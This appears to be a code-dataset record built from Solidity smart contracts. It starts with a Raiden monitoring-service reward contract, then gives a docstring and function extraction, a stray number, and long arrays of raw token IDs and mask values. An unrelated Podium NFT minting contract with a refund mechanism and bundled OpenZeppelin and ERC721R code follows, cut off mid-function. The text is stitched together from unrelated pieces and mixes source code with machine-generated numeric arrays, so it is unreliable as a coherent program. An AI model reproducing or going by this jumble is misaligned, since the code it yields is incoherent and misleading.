Deposit tokens used to reward MSs. Idempotent function that sets the /// total_deposit of tokens of the beneficiary /// Can be called by anyone several times and on behalf of other accounts /// @param beneficiary The account benefiting from the deposit /// @param total_deposit The sum of tokens, that have been deposited function deposit(address beneficiary, uint256 total_deposit) public { require(total_deposit > balances[beneficiary]); uint256 added_deposit; // Calculate the actual amount of tokens that will be transferred added_deposit = total_deposit - balances[beneficiary]; // This also allows for MSs to deposit and use other MSs balances[beneficiary] += added_deposit; emit NewDeposit(beneficiary, added_deposit); // Transfer the deposit to the smart contract require(token.transferFrom(msg.sender, address(this), added_deposit)); } /// @notice Internal function that updates the Reward struct if a newer balance proof /// is provided in the monitor() function /// @param token_network_address Address of the TokenNetwork being monitored /// @param closing_participant The address of the participant who closed the channel /// @param non_closing_participant Address of the other channel participant. This is /// the participant on which behalf the MS acts. /// @param reward_amount The amount of tokens to be rewarded /// @param nonce The nonce of the newly provided balance_proof /// @param monitoring_service_address The address of the MS calling monitor() /// @param reward_proof_signature The signature of the signed reward proof function updateReward( address token_network_address, address closing_participant, address non_closing_participant, uint256 reward_amount, uint256 nonce, address monitoring_service_address, bytes reward_proof_signature ) internal { TokenNetwork token_network = TokenNetwork(token_network_address); uint256 channel_identifier = token_network.getChannelIdentifier(closing_participant, non_closing_participant); // Make sure that the reward proof is signed by the non_closing_participant address raiden_node_address = recoverAddressFromRewardProof( channel_identifier, reward_amount, token_network_address, token_network.chain_id(), nonce, reward_proof_signature ); require(raiden_node_address == non_closing_participant); bytes32 reward_identifier = keccak256(abi.encodePacked( channel_identifier, token_network_address )); // Get the Reward struct for the correct channel Reward storage reward = rewards[reward_identifier]; // Only allow BPs with higher nonce to be submitted require(reward.nonce < nonce); // MSC stores channel_identifier, MS_address, reward_amount, nonce // of the MS that provided the balance_proof with highest nonce rewards[reward_identifier] = Reward({ reward_amount: reward_amount, nonce: nonce, reward_sender_address: non_closing_participant, monitoring_service_address: monitoring_service_address }); } /// @notice Called by a registered MS, when providing a new balance proof /// to a monitored channel. /// Can be called multiple times by different registered MSs as long as the PB provided /// is newer than the current newest registered BP. /// @param nonce Strictly monotonic value used to order BPs /// omitting PB specific params, since these will not be provided in the future /// @param reward_amount Amount of tokens to be rewarded /// @param token_network_address Address of the Token Network in which the channel /// being monitored exists. /// @param reward_proof_signature The signature of the signed reward proof function monitor( address closing_participant, address non_closing_participant, bytes32 balance_hash, uint256 nonce, bytes32 additional_hash, bytes closing_signature, bytes non_closing_signature, uint256 reward_amount, address token_network_address, bytes reward_proof_signature ) canMonitor(msg.sender) public { updateReward( token_network_address, closing_participant, non_closing_participant, reward_amount, nonce, msg.sender, reward_proof_signature ); TokenNetwork token_network = TokenNetwork(token_network_address); // Call updateTransfer in the corresponding TokenNetwork token_network.updateNonClosingBalanceProof( closing_participant, non_closing_participant, balance_hash, nonce, additional_hash, closing_signature, non_closing_signature ); emit NewBalanceProofReceived( reward_amount, nonce, msg.sender, non_closing_participant ); } /// @notice Called after a monitored channel is settled in order for MS to claim the reward /// Can be called once per settled channel by everyone on behalf of MS /// @param token_network_address Address of the Token Network in which the channel /// @param closing_participant Address of the participant of the channel that called close /// @param non_closing_participant The other participant of the channel function claimReward( address token_network_address, address closing_participant, address non_closing_participant ) public returns (bool) { TokenNetwork token_network = TokenNetwork(token_network_address); uint256 channel_identifier = token_network.getChannelIdentifier( closing_participant, non_closing_participant ); bytes32 reward_identifier = keccak256(abi.encodePacked( channel_identifier, token_network_address )); // Only allowed to claim, if channel is settled // Channel is settled if it's data has been deleted uint8 channel_state; (, , channel_state) = token_network.getChannelInfo( closing_participant, non_closing_participant ); // If channel.state is zero it means it's either non-existing or settled require(channel_state == 0); Reward storage reward = rewards[reward_identifier]; // Make sure that the Reward exists require(reward.reward_sender_address != 0x0); // Deduct reward from raiden_node deposit balances[reward.reward_sender_address] -= reward.reward_amount; // Add reward to the monitoring services' balance. // This minimizes the amount of gas cost // Only use token.transfer in the withdraw function balances[reward.monitoring_service_address] += reward.reward_amount; emit RewardClaimed( reward.monitoring_service_address, reward.reward_amount, reward_identifier ); // delete storage delete rewards[reward_identifier]; } /// @notice Withdraw deposited tokens. /// Can be called by addresses with a deposit as long as they have a positive balance /// @param amount Amount of tokens to be withdrawn function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); balances[msg.sender] -= amount; require(token.transfer(msg.sender, amount)); emit Withdrawn(msg.sender, amount); } function recoverAddressFromRewardProof( uint256 channel_identifier, uint256 reward_amount, address token_network_address, uint256 chain_id, uint256 nonce, bytes signature ) pure internal returns (address signature_address) { bytes32 message_hash = keccak256(abi.encodePacked( channel_identifier, reward_amount, token_network_address, chain_id, nonce )); signature_address = ECVerify.ecverify(message_hash, signature); } }
@notice Called after a monitored channel is settled in order for MS to claim the reward Can be called once per settled channel by everyone on behalf of MS @param token_network_address Address of the Token Network in which the channel @param closing_participant Address of the participant of the channel that called close @param non_closing_participant The other participant of the channel Only allowed to claim, if channel is settled Channel is settled if it's data has been deleted If channel.state is zero it means it's either non-existing or settled Make sure that the Reward exists Deduct reward from raiden_node deposit Add reward to the monitoring services' balance. This minimizes the amount of gas cost Only use token.transfer in the withdraw function delete storage
function claimReward( address token_network_address, address closing_participant, address non_closing_participant ) public returns (bool) { TokenNetwork token_network = TokenNetwork(token_network_address); uint256 channel_identifier = token_network.getChannelIdentifier( closing_participant, non_closing_participant ); bytes32 reward_identifier = keccak256(abi.encodePacked( channel_identifier, token_network_address )); uint8 channel_state; (, , channel_state) = token_network.getChannelInfo( closing_participant, non_closing_participant ); require(channel_state == 0); Reward storage reward = rewards[reward_identifier]; require(reward.reward_sender_address != 0x0); balances[reward.reward_sender_address] -= reward.reward_amount; balances[reward.monitoring_service_address] += reward.reward_amount; emit RewardClaimed( reward.monitoring_service_address, reward.reward_amount, reward_identifier ); delete rewards[reward_identifier]; }
12,814,495
[ 1, 8185, 1839, 279, 28651, 1904, 353, 26319, 1259, 316, 1353, 364, 9238, 358, 7516, 326, 19890, 4480, 506, 2566, 3647, 1534, 26319, 1259, 1904, 635, 3614, 476, 603, 12433, 6186, 434, 9238, 225, 1147, 67, 5185, 67, 2867, 5267, 434, 326, 3155, 5128, 316, 1492, 326, 1904, 225, 7647, 67, 2680, 14265, 5267, 434, 326, 14188, 434, 326, 1904, 716, 2566, 1746, 225, 1661, 67, 19506, 67, 2680, 14265, 1021, 1308, 14188, 434, 326, 1904, 5098, 2935, 358, 7516, 16, 309, 1904, 353, 26319, 1259, 5307, 353, 26319, 1259, 309, 518, 1807, 501, 711, 2118, 4282, 971, 1904, 18, 2019, 353, 3634, 518, 4696, 518, 1807, 3344, 1661, 17, 11711, 578, 26319, 1259, 4344, 3071, 716, 326, 534, 359, 1060, 1704, 463, 329, 853, 19890, 628, 767, 17951, 67, 2159, 443, 1724, 1436, 19890, 358, 326, 16309, 4028, 11, 11013, 18, 1220, 18172, 3128, 326, 3844, 434, 16189, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 7516, 17631, 1060, 12, 203, 3639, 1758, 1147, 67, 5185, 67, 2867, 16, 203, 3639, 1758, 7647, 67, 2680, 14265, 16, 203, 3639, 1758, 1661, 67, 19506, 67, 2680, 14265, 203, 565, 262, 203, 3639, 1071, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 3155, 3906, 1147, 67, 5185, 273, 3155, 3906, 12, 2316, 67, 5185, 67, 2867, 1769, 203, 3639, 2254, 5034, 1904, 67, 5644, 273, 1147, 67, 5185, 18, 588, 2909, 3004, 12, 203, 5411, 7647, 67, 2680, 14265, 16, 203, 5411, 1661, 67, 19506, 67, 2680, 14265, 203, 3639, 11272, 203, 3639, 1731, 1578, 19890, 67, 5644, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 203, 5411, 1904, 67, 5644, 16, 203, 5411, 1147, 67, 5185, 67, 2867, 203, 3639, 262, 1769, 203, 203, 3639, 2254, 28, 1904, 67, 2019, 31, 203, 3639, 261, 16, 269, 1904, 67, 2019, 13, 273, 1147, 67, 5185, 18, 588, 2909, 966, 12, 203, 5411, 7647, 67, 2680, 14265, 16, 203, 5411, 1661, 67, 19506, 67, 2680, 14265, 203, 3639, 11272, 203, 3639, 2583, 12, 4327, 67, 2019, 422, 374, 1769, 203, 203, 3639, 534, 359, 1060, 2502, 19890, 273, 283, 6397, 63, 266, 2913, 67, 5644, 15533, 203, 203, 3639, 2583, 12, 266, 2913, 18, 266, 2913, 67, 15330, 67, 2867, 480, 374, 92, 20, 1769, 203, 203, 3639, 324, 26488, 63, 266, 2913, 18, 266, 2913, 67, 15330, 67, 2867, 65, 3947, 19890, 18, 266, 2913, 67, 8949, 31, 203, 3639, 324, 26488, 63, 2 ]
// ____ ___ ____ ___ _ _ __ __ // | _ \ / _ \| _ \_ _| | | | \/ | // | |_) | | | | | | | || | | | |\/| | // | __/| |_| | |_| | || |_| | | | | // |_| \___/|____/___|\___/|_| |_| // // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /* ---------------------------------------------------------------------------- * Podium Genesis NFT miniting * Used ERC721-R for refund mechanism with customizable cliff settings. * More infomration about refund on github and in ERC721R.sol * There is more work to be done in the space. This is a good start. BAG_TIME / -------------------------------------------------------------------------- */ import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "./ERC721R.sol"; import "./MerkleProof.sol"; contract Podium is Ownable, ERC721R, ReentrancyGuard, Pausable { // Declerations // ------------------------------------------------------------------------ uint256 public maxMintPublic = 2; uint256 internal collectionSize_ = 777; uint256 internal reservedQuantity_ = 57; // For dev mint uint256 internal refundTimeIntervals_ = 14 days; // When refund cliffs uint256 internal refundIncrements_ = 20; // How much decrease % at cliff uint64 public mintListPrice = 0.12 ether; uint64 public publicPrice = 0.15 ether; uint32 public publicSaleStart; uint32 public mintListSaleStart; uint256 public refundPaidSum; // Not init bc 0 to save gas How much was actually paid out mapping(address => bool) public mintListClaimed; // Did they claim ML mapping(address => bool) public teamMember; mapping(bytes4 => bool) public functionLocked; string private _baseTokenURI; // metadata URI address private teamRefundTreasury = msg.sender; // Address where refunded tokens sent bytes32 public merkleRoot; // Merkle Root for WL verification constructor( uint32 publicSaleStart_, uint32 mintListSaleStart_, bytes32 merkleRoot_ ) ERC721R("Podium", "PODIUM", reservedQuantity_, collectionSize_, refundTimeIntervals_, refundIncrements_) { publicSaleStart = publicSaleStart_; mintListSaleStart = mintListSaleStart_; merkleRoot = merkleRoot_; teamMember[msg.sender] = true; } // Modifiers // ------------------------------------------------------------------------ /* * Make sure the caller is sender and not bot */ modifier callerNotBot() { require(tx.origin == msg.sender, "The caller is another contract"); _; } /** * @dev Throws if called by any account other than team members */ modifier onlyTeamMember() { require(teamMember[msg.sender], "Caller is not an owner"); _; } /** * @notice Modifier applied to functions that will be disabled when they're no longer needed */ modifier lockable() { require(!functionLocked[msg.sig], "Function has been locked"); _; } // Mint functions and helpers // ------------------------------------------------------------------------ /* * WL Mint default quanitiy is 1. Uses merkle tree proof */ function mintListMint(bytes32[] calldata _merkleProof) external payable nonReentrant callerNotBot whenNotPaused { // Overall checks require(totalSupply() + 1 <= collectionSize,"All tokens minted"); require(isMintListSaleOn(), "Mintlist not active"); // Merkle check for WL verification require(!mintListClaimed[msg.sender],"Already minted WL"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Not on ML"); // Please pay us require(msg.value == mintListPrice, "Invalid Ether amount"); mintListClaimed[msg.sender] = true; _safeMint(msg.sender, 1, mintListPrice); // Mint list quantity 1 refundEligbleSum += mintListPrice; } /* * Public mint */ function publicSaleMint(uint256 quantity) external payable nonReentrant callerNotBot whenNotPaused { // Overall checks require( totalSupply() + quantity <= collectionSize, "All tokens minted" ); require( numberMinted(msg.sender) + quantity <= maxMintPublic, "Allowance allocated" ); require(isPublicSaleOn(), "Public sale not active"); // Please pay us require(msg.value == (publicPrice * quantity), "Invalid Ether amount"); _safeMint(msg.sender, quantity, publicPrice); refundEligbleSum += (publicPrice * quantity); } /* * Has public sale started */ function isPublicSaleOn() public view returns (bool) { return block.timestamp >= publicSaleStart; } /* * Has WL sale started */ function isMintListSaleOn() public view returns (bool) { return block.timestamp >= mintListSaleStart && block.timestamp < publicSaleStart; } /* * Is specific address on WL * Need merkle proof and root (mint page call) */ function isOnMintList(bytes32[] calldata _merkleProof, address _wallet) public view returns (bool) { bytes32 leaf = keccak256(abi.encodePacked(_wallet)); return MerkleProof.verify(_merkleProof, merkleRoot, leaf); } // Remaining Public functions // ------------------------------------------------------------------------ /* * How many were minted by owner */ function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } /* * Who owns this token and since when */ function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } // Refund logic // ------------------------------------------------------------------------ /** * Refund owner token at refund rate mint price * If elgible (not been transfered) */ function refund(uint256 tokenId) external nonReentrant callerNotBot whenNotPaused { require(isRefundActive(), "Refund is over"); // Confirm origin and refund activity uint256 purchaseValueCurrent = _checkPurchasePriceCurrent(tokenId); require(purchaseValueCurrent > 0, "Token was minted by devs or transfered"); require(ownerOf(tokenId) == msg.sender, "You do not own token"); // Send token to refund Address _refund(msg.sender, teamRefundTreasury, tokenId); // Refund based on purchase price and time uint256 refundValue; refundValue = purchaseValueCurrent * refundRate()/100; payable(msg.sender).transfer(refundValue); refundPaidSum += refundValue; } /** * Allow only withdrawal of non refund locked-up funds */ function withdrawPossibleAmount() external onlyTeamMember whenNotPaused { if(isRefundActive()) { // How much can be withdrawn uint256 amount = address(this).balance - fundsNeededForRefund(); (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed."); } else { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } } /** * How much ETH is eligible for refund * */ function checkRefundEligbleSum() public view onlyTeamMember returns (uint256) { return refundEligbleSum; } /** * Amount needed for refunds at current rate */ function fundsNeededForRefund() public view returns(uint256) { return refundEligbleSum * refundRate() / 100; } /** * Will return refund rate in as int (i.e. 100, 80, etc) * To be devided by 100 for percentage */ function refundRate() public view returns (uint256) { return (100 - (_currentPeriod(publicSaleStart) * refundIncrements)); } /** * How much ETH was paid out for redunds */ function checkRefundedAmount() public view onlyTeamMember returns(uint256) { return refundPaidSum; } /** * Is refund live */ function isRefundActive() public view returns(bool) { return ( block.timestamp < (publicSaleStart + (5 * refundTimeIntervals)) ); } // Admin only functions (WL, update data, dev mint, etc.) // Note: Withdraw in refund // ------------------------------------------------------------------------ /* * Change where refund NFTs are sent */ function changeTeamRefundTreasury(address _teamRefundTreasury) external onlyTeamMember { require(_teamRefundTreasury != address(0)); teamRefundTreasury = _teamRefundTreasury; } /* * Update prices and dates */ function manageSale( uint64 _mintListPrice, uint64 _publicPrice, uint32 _publicSaleStart, uint32 _mintListSaleStart, uint256 _maxMintPublic, uint256 _collectionSize ) external onlyTeamMember lockable { mintListPrice = _mintListPrice; publicPrice = _publicPrice; publicSaleStart = _publicSaleStart; mintListSaleStart = _mintListSaleStart; maxMintPublic = _maxMintPublic; collectionSize = _collectionSize; } /** * Mintlist update by using new merkle root */ function updateMintListHash(bytes32 _newMerkleroot) external onlyTeamMember { merkleRoot = _newMerkleroot; } /* * Regular dev mint without override */ function teamInitMint( uint256 quantity ) public onlyTeamMember { teamInitMint(msg.sender, quantity, false, 0); } /* * Emergency override if needed to be called by external contract * To maintain token continuity */ function teamInitMint( address to, uint256 quantity, bool emergencyOverride, uint256 purchasePriceOverride ) public onlyTeamMember { if (!emergencyOverride) require( quantity <= maxBatchSize, "Dev cannot mint more than allocated" ); _safeMint(to, quantity, purchasePriceOverride); // Team mint list price = 0 } /* * Override internal ERC URI */ function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /* * Update BaseURI (for reaveal) */ function setBaseURI(string calldata baseURI) external onlyTeamMember { _baseTokenURI = baseURI; } /* * Set owners of tokens explicitly with ERC721A */ function setOwnersExplicit(uint256 quantity) external onlyTeamMember nonReentrant { _setOwnersExplicit(quantity); } // ------------------------------------------------------------------------ // Security and ownership /** * Pause functions as needed (in case of exploits) */ function pause() public onlyTeamMember { _pause(); } /** * Unpause functions as needed */ function unpause() public onlyTeamMember { _unpause(); } /** * Add new team meber role with admin permissions */ function addTeamMemberAdmin(address newMember) external onlyTeamMember { teamMember[newMember] = true; } /** * Remove team meber role from admin permissions */ function removeTeamMemberAdmin(address newMember) external onlyTeamMember { teamMember[newMember] = false; } /** * Returns true if address is team member */ function isTeamMemberAdmin(address checkAddress) public view onlyTeamMember returns (bool) { return teamMember[checkAddress]; } /** * @notice Lock individual functions that are no longer needed * @dev Only affects functions with the lockable modifier * @param id First 4 bytes of the calldata (i.e. function identifier) */ function lockFunction(bytes4 id) public onlyTeamMember { functionLocked[id] = true; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // ERC721-R Created by Podium builds on the ERC721-A. // It allows for flexibility in refunds policies in the child contracts // In this scenario, refunds are void if the token is transfered (_transfer) // TODO: For multiple mint projects migrate Token RefundPolicy to system similar to ERC721A owner data // That can we determined by serial ordering or explicitly set. // TODO: Build in a more flexible manner on top of ERC721A or new format to accomodate other contract types // Test this and ensure intended behavior in any future implementations // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721R is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal refundEligbleSum; // Value of eligible refunds at original rate uint256 internal collectionSize; uint256 internal maxBatchSize; uint256 internal immutable refundTimeIntervals; // / When refund cliffs uint256 internal immutable refundIncrements; // // How much decrease % at cliff // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Mappring from token ID to purchase price 0 if transfered mapping(uint256 => uint256) private _tokenPurchasePriceCurrent; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. * `refundTimeIntervals_` refers to epoch between each interval * `refundIncrements_` refers to percentage decrease in refund */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_, uint256 refundTimeIntervals_, uint256 refundIncrements_ ) { require( collectionSize_ > 0, "ERC721R: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721R: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; refundTimeIntervals = refundTimeIntervals_; refundIncrements = refundIncrements_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721R: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721R: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721R: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721R: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721R: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721R: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721R: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721R.ownerOf(tokenId); require(to != owner, 